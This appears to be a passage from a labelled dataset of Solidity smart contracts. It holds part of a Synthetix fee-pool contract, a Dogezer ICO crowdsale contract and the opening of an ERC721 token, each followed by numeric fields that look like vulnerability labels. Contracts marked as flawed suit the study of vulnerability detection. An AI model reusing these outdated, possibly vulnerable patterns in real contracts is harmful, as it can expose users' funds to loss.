}
function setDelegateApprovals(DelegateApprovals _delegates)
external
optionalProxy_onlyOwner
{
delegates = _delegates;
}
function setFeePeriodDuration(uint _feePeriodDuration)
external
optionalProxy_onlyOwner
{
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration");
feePeriodDuration = _feePeriodDuration;
emitFeePeriodDurationUpdated(_feePeriodDuration);
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
require(address(_synthetix) != address(0), "New Synthetix must be non-zero");
synthetix = _synthetix;
}
function setTargetThreshold(uint _percent)
external
optionalProxy_onlyOwner
{
require(_percent >= 0, "Threshold should be positive");
TARGET_THRESHOLD = (_percent * SafeDecimalMath.unit()) / 100;
}
function feePaid(bytes4 currencyKey, uint amount)
external
onlySynthetix
{
uint xdrAmount;
if (currencyKey != "XDR") {
xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR");
} else {
xdrAmount = amount;
}
recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);
}
function rewardsMinted(uint amount)
external
onlySynthetix
{
recentFeePeriods[0].rewardsToDistribute = recentFeePeriods[0].rewardsToDistribute.add(amount);
}
function closeCurrentFeePeriod()
external
optionalProxy_onlyFeeAuthority
{
require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period");
FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2];
FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1];
recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute
.sub(lastFeePeriod.feesClaimed)
.add(secondLastFeePeriod.feesToDistribute);
recentFeePeriods[FEE_PERIOD_LENGTH - 2].rewardsToDistribute = lastFeePeriod.rewardsToDistribute
.sub(lastFeePeriod.rewardsClaimed)
.add(secondLastFeePeriod.rewardsToDistribute);
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId;
recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex;
recentFeePeriods[next].startTime = recentFeePeriods[i].startTime;
recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute;
recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed;
recentFeePeriods[next].rewardsToDistribute = recentFeePeriods[i].rewardsToDistribute;
recentFeePeriods[next].rewardsClaimed = recentFeePeriods[i].rewardsClaimed;
}
delete recentFeePeriods[0];
recentFeePeriods[0].feePeriodId = recentFeePeriods[1].feePeriodId.add(1);
recentFeePeriods[0].startingDebtIndex = synthetixState.debtLedgerLength();
recentFeePeriods[0].startTime = now;
emitFeePeriodClosed(recentFeePeriods[1].feePeriodId);
}
function claimFees(bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
return _claimFees(messageSender, currencyKey);
}
function claimOnBehalf(address claimingForAddress, bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
require(delegates.approval(claimingForAddress, messageSender), "Not approved to claim on behalf this address");
return _claimFees(claimingForAddress, currencyKey);
}
function _claimFees(address claimingAddress, bytes4 currencyKey)
internal
returns (bool)
{
uint rewardsPaid;
uint feesPaid;
uint availableFees;
uint availableRewards;
require(feesClaimable(claimingAddress), "C-Ratio below penalty threshold");
(availableFees, availableRewards) = feesAvailable(claimingAddress, "XDR");
require(availableFees > 0 || availableRewards > 0, "No fees or rewards available for period, or fees already claimed");
_setLastFeeWithdrawal(claimingAddress, recentFeePeriods[1].feePeriodId);
if (availableFees > 0) {
feesPaid = _recordFeePayment(availableFees);
_payFees(claimingAddress, feesPaid, currencyKey);
}
if (availableRewards > 0) {
rewardsPaid = _recordRewardPayment(availableRewards);
_payRewards(claimingAddress, rewardsPaid);
}
emitFeesClaimed(claimingAddress, feesPaid, rewardsPaid);
return true;
}
function importFeePeriod(
uint feePeriodIndex, uint feePeriodId, uint startingDebtIndex, uint startTime,
uint feesToDistribute, uint feesClaimed, uint rewardsToDistribute, uint rewardsClaimed)
public
optionalProxy_onlyOwner
onlyDuringSetup
{
recentFeePeriods[feePeriodIndex].feePeriodId = feePeriodId;
recentFeePeriods[feePeriodIndex].startingDebtIndex = startingDebtIndex;
recentFeePeriods[feePeriodIndex].startTime = startTime;
recentFeePeriods[feePeriodIndex].feesToDistribute = feesToDistribute;
recentFeePeriods[feePeriodIndex].feesClaimed = feesClaimed;
recentFeePeriods[feePeriodIndex].rewardsToDistribute = rewardsToDistribute;
recentFeePeriods[feePeriodIndex].rewardsClaimed = rewardsClaimed;
}
function approveClaimOnBehalf(address account)
public
optionalProxy
{
require(delegates != address(0), "Delegates Approval destination missing");
require(account != address(0), "Can't delegate to address(0)");
delegates.setApproval(messageSender, account);
}
function removeClaimOnBehalf(address account)
public
optionalProxy
{
require(delegates != address(0), "Delegates Approval destination missing");
delegates.withdrawApproval(messageSender, account);
}
function _recordFeePayment(uint xdrAmount)
internal
returns (uint)
{
uint remainingToAllocate = xdrAmount;
uint feesPaid;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed);
if (delta > 0) {
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
feesPaid = feesPaid.add(amountInPeriod);
if (remainingToAllocate == 0) return feesPaid;
if (i == 0 && remainingToAllocate > 0) {
remainingToAllocate = 0;
}
}
}
return feesPaid;
}
function _recordRewardPayment(uint snxAmount)
internal
returns (uint)
{
uint remainingToAllocate = snxAmount;
uint rewardPaid;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint toDistribute = recentFeePeriods[i].rewardsToDistribute.sub(recentFeePeriods[i].rewardsClaimed);
if (toDistribute > 0) {
uint amountInPeriod = toDistribute < remainingToAllocate ? toDistribute : remainingToAllocate;
recentFeePeriods[i].rewardsClaimed = recentFeePeriods[i].rewardsClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
rewardPaid = rewardPaid.add(amountInPeriod);
if (remainingToAllocate == 0) return rewardPaid;
if (i == 0 && remainingToAllocate > 0) {
remainingToAllocate = 0;
}
}
}
return rewardPaid;
}
function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send fees to fee pool");
require(account != address(proxy), "Can't send fees to proxy");
require(account != address(synthetix), "Can't send fees to synthetix");
Synth xdrSynth = synthetix.synths("XDR");
Synth destinationSynth = synthetix.synths(destinationCurrencyKey);
xdrSynth.burn(FEE_ADDRESS, xdrAmount);
uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey);
destinationSynth.issue(account, destinationAmount);
destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount);
}
function _payRewards(address account, uint snxAmount)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send rewards to fee pool");
require(account != address(proxy), "Can't send rewards to proxy");
require(account != address(synthetix), "Can't send rewards to synthetix");
rewardEscrow.appendVestingEntry(account, snxAmount);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(transferFeeRate);
}
function transferredAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(transferFeeIncurred(value));
}
function amountReceivedFromTransfer(uint value)
external
view
returns (uint)
{
return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit()));
}
function exchangeFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(exchangeFeeRate);
}
function exchangedAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(exchangeFeeIncurred(value));
}
function amountReceivedFromExchange(uint value)
external
view
returns (uint)
{
return value.multiplyDecimal(SafeDecimalMath.unit().sub(exchangeFeeRate));
}
function totalFeesAvailable(bytes4 currencyKey)
external
view
returns (uint)
{
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute);
totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function totalRewardsAvailable()
external
view
returns (uint)
{
uint totalRewards = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalRewards = totalRewards.add(recentFeePeriods[i].rewardsToDistribute);
totalRewards = totalRewards.sub(recentFeePeriods[i].rewardsClaimed);
}
return totalRewards;
}
function feesAvailable(address account, bytes4 currencyKey)
public
view
returns (uint, uint)
{
uint[2][FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
uint totalRewards = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i][0]);
totalRewards = totalRewards.add(userFees[i][1]);
}
return (
synthetix.effectiveValue("XDR", totalFees, currencyKey),
totalRewards
);
}
function feesClaimable(address account)
public
view
returns (bool)
{
uint ratio = synthetix.collateralisationRatio(account);
uint targetRatio = synthetix.synthetixState().issuanceRatio();
if (ratio < targetRatio) {
return true;
}
uint ratio_threshold = targetRatio.multiplyDecimal(SafeDecimalMath.unit().add(TARGET_THRESHOLD));
if (ratio > ratio_threshold) {
return false;
}
return true;
}
function feesByPeriod(address account)
public
view
returns (uint[2][FEE_PERIOD_LENGTH] memory results)
{
uint userOwnershipPercentage;
uint debtEntryIndex;
(userOwnershipPercentage, debtEntryIndex) = feePoolState.getAccountsDebtEntry(account, 0);
if (debtEntryIndex == 0 && userOwnershipPercentage == 0) return;
if (synthetix.totalIssuedSynths("XDR") == 0) return;
uint feesFromPeriod;
uint rewardsFromPeriod;
(feesFromPeriod, rewardsFromPeriod) = _feesAndRewardsFromPeriod(0, userOwnershipPercentage, debtEntryIndex);
results[0][0] = feesFromPeriod;
results[0][1] = rewardsFromPeriod;
for (uint i = FEE_PERIOD_LENGTH - 1; i > 0; i--) {
uint next = i - 1;
FeePeriod memory nextPeriod = recentFeePeriods[next];
if (nextPeriod.startingDebtIndex > 0 &&
getLastFeeWithdrawal(account) < recentFeePeriods[i].feePeriodId) {
uint closingDebtIndex = nextPeriod.startingDebtIndex.sub(1);
(userOwnershipPercentage, debtEntryIndex) = feePoolState.applicableIssuanceData(account, closingDebtIndex);
(feesFromPeriod, rewardsFromPeriod) = _feesAndRewardsFromPeriod(i, userOwnershipPercentage, debtEntryIndex);
results[i][0] = feesFromPeriod;
results[i][1] = rewardsFromPeriod;
}
}
}
function _feesAndRewardsFromPeriod(uint period, uint ownershipPercentage, uint debtEntryIndex)
internal
returns (uint, uint)
{
if (ownershipPercentage == 0) return (0, 0);
uint debtOwnershipForPeriod = ownershipPercentage;
if (period > 0) {
uint closingDebtIndex = recentFeePeriods[period - 1].startingDebtIndex.sub(1);
debtOwnershipForPeriod = _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex);
}
uint feesFromPeriod = recentFeePeriods[period].feesToDistribute
.multiplyDecimal(debtOwnershipForPeriod);
uint rewardsFromPeriod = recentFeePeriods[period].rewardsToDistribute
.multiplyDecimal(debtOwnershipForPeriod);
return (
feesFromPeriod.preciseDecimalToDecimal(),
rewardsFromPeriod.preciseDecimalToDecimal()
);
}
function _effectiveDebtRatioForPeriod(uint closingDebtIndex, uint ownershipPercentage, uint debtEntryIndex)
internal
view
returns (uint)
{
if (closingDebtIndex > synthetixState.debtLedgerLength()) return 0;
uint feePeriodDebtOwnership = synthetixState.debtLedger(closingDebtIndex)
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(ownershipPercentage);
return feePeriodDebtOwnership;
}
function effectiveDebtRatioForPeriod(address account, uint period)
external
view
returns (uint)
{
require(period != 0, "Current period has not closed yet");
require(period < FEE_PERIOD_LENGTH, "Period exceeds the FEE_PERIOD_LENGTH");
if (recentFeePeriods[period - 1].startingDebtIndex == 0) return;
uint closingDebtIndex = recentFeePeriods[period - 1].startingDebtIndex.sub(1);
uint ownershipPercentage;
uint debtEntryIndex;
(ownershipPercentage, debtEntryIndex) = feePoolState.applicableIssuanceData(account, closingDebtIndex);
return _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex);
}
function getLastFeeWithdrawal(address _claimingAddress)
public
view
returns (uint)
{
return feePoolEternalStorage.getUIntValue(keccak256(abi.encodePacked(LAST_FEE_WITHDRAWAL, _claimingAddress)));
}
function getPenaltyThresholdRatio()
public
view
returns (uint)
{
uint targetRatio = synthetix.synthetixState().issuanceRatio();
return targetRatio.multiplyDecimal(SafeDecimalMath.unit().add(TARGET_THRESHOLD));
}
function _setLastFeeWithdrawal(address _claimingAddress, uint _feePeriodID)
internal
{
feePoolEternalStorage.setUIntValue(keccak256(abi.encodePacked(LAST_FEE_WITHDRAWAL, _claimingAddress)), _feePeriodID);
}
modifier optionalProxy_onlyFeeAuthority
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(msg.sender == feeAuthority, "Only the fee authority can perform this action");
_;
}
modifier onlySynthetix
{
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
event IssuanceDebtRatioEntry(address indexed account, uint debtRatio, uint debtEntryIndex, uint feePeriodStartingDebtIndex);
bytes32 constant ISSUANCEDEBTRATIOENTRY_SIG = keccak256("IssuanceDebtRatioEntry(address,uint256,uint256,uint256)");
function emitIssuanceDebtRatioEntry(address account, uint debtRatio, uint debtEntryIndex, uint feePeriodStartingDebtIndex) internal {
proxy._emit(abi.encode(debtRatio, debtEntryIndex, feePeriodStartingDebtIndex), 2, ISSUANCEDEBTRATIOENTRY_SIG, bytes32(account), 0, 0);
}
event TransferFeeUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)");
function emitTransferFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0);
}
event ExchangeFeeUpdated(uint newFeeRate);
bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)");
function emitExchangeFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint newFeePeriodDuration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal {
proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint xdrAmount, uint snxRewards);
bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256,uint256)");
function emitFeesClaimed(address account, uint xdrAmount, uint snxRewards) internal {
proxy._emit(abi.encode(account, xdrAmount, snxRewards), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
} | 0 | 739 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 x, uint256 y) pure internal returns (uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function sub(uint256 x, uint256 y) pure internal returns (uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function mul(uint256 x, uint256 y) pure internal returns (uint256) {
uint256 z = x * y;
assert((x == 0) || (z / x == y));
return z;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require (!halted);
_;
}
modifier onlyInEmergency {
require (halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract DogezerICOPublicCrowdSale is Haltable{
using SafeMath for uint;
string public name = "Dogezer Public Sale ITO";
address public beneficiary;
uint public startTime = 1518699600;
uint public stopTime = 1520514000;
uint public totalTokensAvailableForSale = 9800000000000000;
uint public preDGZTokensSold = 20699056632305;
uint public privateSalesTokensSold = 92644444444444;
uint public tokensAvailableForSale = 0;
uint public tokensSoldOnPublicRound = 0;
StandardToken public tokenReward;
StandardToken public tokenRewardPreDGZ;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonWLBalanceOf;
mapping(address => uint256) public preBalanceOf;
mapping(address => bool) public whiteList;
event DGZTokensWithdraw(address where, uint amount);
event DGZTokensSold(address where, uint amount);
event TokensWithdraw(address where, address token, uint amount);
event FundsWithdrawal(address where, uint amount);
bool[] public yearlyTeamTokensPaid = [false, false, false];
uint public yearlyTeamAmount= 0;
bool public bountyPaid = false;
uint public bountyAmount = 0;
bool public crowdsaleClosed = false;
uint public constant maxPurchaseNonWhiteListed = 10 * 1 ether;
uint public preDGZtoDGZExchangeRate = 914285714;
uint public discountValue5 = 50.0 * 1 ether;
uint public discountValue10 = 100.0 * 1 ether;
uint[] public price1stWeek = [ 5625000, 5343750, 5062500];
uint[] public price2ndWeek = [ 5940000, 5643000, 5346000];
uint[] public price3rdWeek = [ 6250000, 5937500, 5625000];
function DogezerICOPublicCrowdSale(
address addressOfPreDGZToken,
address addressOfDGZToken,
address addressOfBeneficiary
) public
{
beneficiary = addressOfBeneficiary;
tokenRewardPreDGZ = StandardToken(addressOfPreDGZToken);
tokenReward = StandardToken(addressOfDGZToken);
tokensAvailableForSale = totalTokensAvailableForSale - preDGZTokensSold * preDGZtoDGZExchangeRate / 100000000 - privateSalesTokensSold;
tokensSoldOnPublicRound = 0;
}
modifier onlyAfterStart() {
require (now >= startTime);
_;
}
modifier onlyBeforeEnd() {
require (now < stopTime);
_;
}
function () payable stopInEmergency onlyAfterStart onlyBeforeEnd public
{
require (crowdsaleClosed == false);
require (tokensAvailableForSale > tokensSoldOnPublicRound);
require (msg.value > 500000000000000);
if ((balanceOf[msg.sender] + msg.value) > maxPurchaseNonWhiteListed && whiteList[msg.sender] == false)
{
nonWLBalanceOf[msg.sender] += msg.value;
}
else
{
sendTokens(msg.sender, msg.value);
}
}
function addListToWhiteList (address[] _addresses) public onlyOwner
{
for (uint i = 0; i < _addresses.length; i++)
{
if (nonWLBalanceOf[_addresses[i]] > 0)
{
sendTokens(_addresses[i], nonWLBalanceOf[_addresses[i]]);
nonWLBalanceOf[_addresses[i]] = 0;
}
whiteList[_addresses[i]] = true;
}
}
function addToWhiteList (address _address) public onlyOwner
{
if (nonWLBalanceOf[_address] > 0)
{
sendTokens(_address, nonWLBalanceOf[_address]);
nonWLBalanceOf[_address] = 0;
}
whiteList[_address] = true;
}
function finalizeSale () public onlyOwner
{
require (crowdsaleClosed == false);
crowdsaleClosed = true;
uint totalSold = tokensSoldOnPublicRound + preDGZTokensSold * preDGZtoDGZExchangeRate / 100000000 + privateSalesTokensSold;
bountyAmount = totalSold / 980 * 15;
yearlyTeamAmount= totalSold / 980 * 5 / 3;
}
function tokenBurn (uint _amount) public onlyOwner
{
require (crowdsaleClosed == true);
tokenReward.transfer(address(0), _amount);
}
function bountyTokenWithdrawal () public onlyOwner
{
require (crowdsaleClosed == true);
require (bountyPaid == false);
tokenReward.transfer(beneficiary, bountyAmount);
bountyPaid = true;
}
function yearlyOwnerTokenWithdrawal () public onlyOwner
{
require (crowdsaleClosed == true);
require (
((now > stopTime + 1 years) && (yearlyTeamTokensPaid[0] == false))
|| ((now > stopTime + 2 years) && (yearlyTeamTokensPaid[1] == false))
|| ((now > stopTime + 3 years) && (yearlyTeamTokensPaid[2] == false))
);
tokenReward.transfer(beneficiary, yearlyTeamAmount);
if (yearlyTeamTokensPaid[0] == false)
yearlyTeamTokensPaid[0] = true;
else if (yearlyTeamTokensPaid[1] == false)
yearlyTeamTokensPaid[1] = true;
else if (yearlyTeamTokensPaid[2] == false)
yearlyTeamTokensPaid[2] = true;
}
function exchangePreDGZTokens() stopInEmergency onlyAfterStart public
{
uint tokenAmount = tokenRewardPreDGZ.allowance(msg.sender, this);
require(tokenAmount > 0);
require(tokenRewardPreDGZ.transferFrom(msg.sender, address(0), tokenAmount));
uint amountSendTokens = tokenAmount * preDGZtoDGZExchangeRate / 100000000;
preBalanceOf[msg.sender] += tokenAmount;
tokenReward.transfer(msg.sender, amountSendTokens);
}
function manuallyExchangeContractPreDGZtoDGZ(address _address, uint preDGZAmount) public onlyOwner
{
require (_address != address(0));
require (preDGZAmount > 0);
uint amountSendTokens = preDGZAmount * preDGZtoDGZExchangeRate / 100000000;
preBalanceOf[_address] += preDGZAmount;
tokenReward.transfer(_address, amountSendTokens);
}
function setTokenPrice (uint week, uint price, uint price5, uint price10) public onlyOwner
{
require (crowdsaleClosed == false);
require (week >= 1 && week <= 3);
if (week == 1)
price1stWeek = [price, price5, price10];
else if (week == 2)
price2ndWeek = [price, price5, price10];
else if (week == 3)
price3rdWeek = [price, price5, price10];
}
function setPreDGZtoDgzRate (uint rate) public onlyOwner
{
preDGZtoDGZExchangeRate = rate;
tokensAvailableForSale = totalTokensAvailableForSale - preDGZTokensSold * preDGZtoDGZExchangeRate / 100000000 - privateSalesTokensSold;
}
function setPrivateSaleTokensSold (uint tokens) public onlyOwner
{
privateSalesTokensSold = tokens;
tokensAvailableForSale = totalTokensAvailableForSale - preDGZTokensSold * preDGZtoDGZExchangeRate / 100000000 - privateSalesTokensSold;
}
function sendTokens(address msg_sender, uint msg_value) internal
{
var prices = price1stWeek;
if (now >= startTime + 2 weeks)
prices = price3rdWeek;
else if (now >= startTime + 1 weeks)
prices = price2ndWeek;
uint currentPrice = prices[0];
if (balanceOf[msg_sender] + msg_value >= discountValue5)
{
currentPrice = prices[1];
if (balanceOf[msg_sender] + msg_value >= discountValue10)
currentPrice = prices[2];
}
uint amountSendTokens = msg_value / currentPrice;
if (amountSendTokens > (tokensAvailableForSale - tokensSoldOnPublicRound))
{
uint tokensAvailable = tokensAvailableForSale - tokensSoldOnPublicRound;
uint refund = msg_value - (tokensAvailable * currentPrice);
amountSendTokens = tokensAvailable;
tokensSoldOnPublicRound += amountSendTokens;
msg_sender.transfer(refund);
balanceOf[msg_sender] += (msg_value - refund);
}
else
{
tokensSoldOnPublicRound += amountSendTokens;
balanceOf[msg_sender] += msg_value;
}
tokenReward.transfer(msg_sender, amountSendTokens);
DGZTokensSold(msg_sender, amountSendTokens);
}
function fundWithdrawal (uint _amount) public onlyOwner
{
require (crowdsaleClosed == true);
beneficiary.transfer(_amount);
FundsWithdrawal(beneficiary, _amount);
}
function refundNonWhitelistedPerson (address _address) public onlyOwner
{
uint refundAmount = nonWLBalanceOf[_address];
nonWLBalanceOf[_address] = 0;
_address.transfer(refundAmount);
}
function tokenWithdrawal (uint _amount) public onlyOwner
{
require (crowdsaleClosed == false);
tokenReward.transfer(beneficiary, _amount);
tokensSoldOnPublicRound += _amount;
DGZTokensWithdraw(beneficiary, _amount);
}
function anyTokenWithdrawal (address _address, uint _amount) public onlyOwner
{
require(_address != address(tokenReward));
StandardToken token = StandardToken(_address);
token.transfer(beneficiary, _amount);
TokensWithdraw(beneficiary, _address, _amount);
}
function changeBeneficiary(address _newBeneficiary) public onlyOwner
{
if (_newBeneficiary != address(0)) {
beneficiary = _newBeneficiary;
}
}
function reopenSale () public onlyOwner
{
require (crowdsaleClosed == true);
crowdsaleClosed = false;
}
} | 1 | 4,283 |
pragma solidity ^0.4.23;
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
